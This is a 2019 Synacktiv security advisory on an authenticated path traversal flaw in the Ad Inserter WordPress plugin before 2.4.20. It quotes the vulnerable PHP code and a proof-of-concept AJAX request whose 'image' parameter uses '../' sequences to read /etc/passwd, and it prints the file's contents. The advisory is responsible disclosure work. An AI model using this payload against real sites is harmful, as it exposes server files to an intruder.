SYNACKTIV
DIGITAL SECURITY

Path Traversal in Ad Inserter < 2.4.19

Security advisory

2019-07-05

Wilfried Bécard

Vulnerability description

Presentation of Ad Inserter

“Ad inserter is an Ad management plugin with many advanced advertising features to insert ads at optimal positions.”

The issue

Synacktiv discovered that Ad Inserter does not sanitize user input on specific parameters that can be used to read arbitrary files on the server with administrator privileges.

Affected versions

All versions between 2.0.3 and 2.4.19 are known to be affected.

Timeline

Date	Action
2019-07-05	Advisory sent to Ad Inserter (igor.funa@gmail.com).
2019-07-05	Ad Inserter replied to our advisory.
2019-07-08	Version 2.4.20 published.

Technical description and proof-of-concept

When logged in as an administrator on *WordPress*, the parameters *image* and *css* are not sanitized and can be used in an AJAX request (action *ai_ajax_backend*) to read files on the server.

The code responsible for this vulnerability is located in *ad-inserter.php* and looks like:

```
function ai_ajax_backend () {
[...]
  elseif (isset ($_GET ["image"])) {
    header ("Content-Type: image/png");
    header ("Content-Length: " . filesize (AD_INSERTER_PLUGIN_DIR.'images/'.$_GET
["image"]));
    readfile  (AD_INSERTER_PLUGIN_DIR.'images/'.$_GET ["image"]);
  }
  elseif (isset ($_GET ["css"])) {
    header ("Content-Type: text/css");
    header ("Content-Length: " . filesize (AD_INSERTER_PLUGIN_DIR.''.$_GET ["css"]));
    readfile  (AD_INSERTER_PLUGIN_DIR.$_GET ["css"]);
  }
[...]
```

By requesting the plugin page in WordPress settings admin panel, we can retrieve the *ai_check* nonce and do an AJAX call to */wp-admin/admin-ajax.php*.

The following POST request will retrieve the content of */etc/passwd file*:

```
POST /wp-admin/admin-ajax.php?image=../../../../../../../etc/passwd HTTP/1.1
Host: 172.22.0.3
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 42
Cookie: wordpress_logged_in_265a310628f5dc968a4e134ec9925b80=admin
%7C1562430496%7CNnjUotX3Fcg7gLAKsDr95WjvhIww767YoW2olxtaZYm
%7Cee1bc955bf3b5a697602c6ac03f128a6b0b94d9a6a8e23311b0a649e66444bb7;
Connection: close

action=ai_ajax_backend&ai_check=ccbc76b63d
```

Associated response:

```
HTTP/1.1 200 OK
[...]

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
[...]
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
```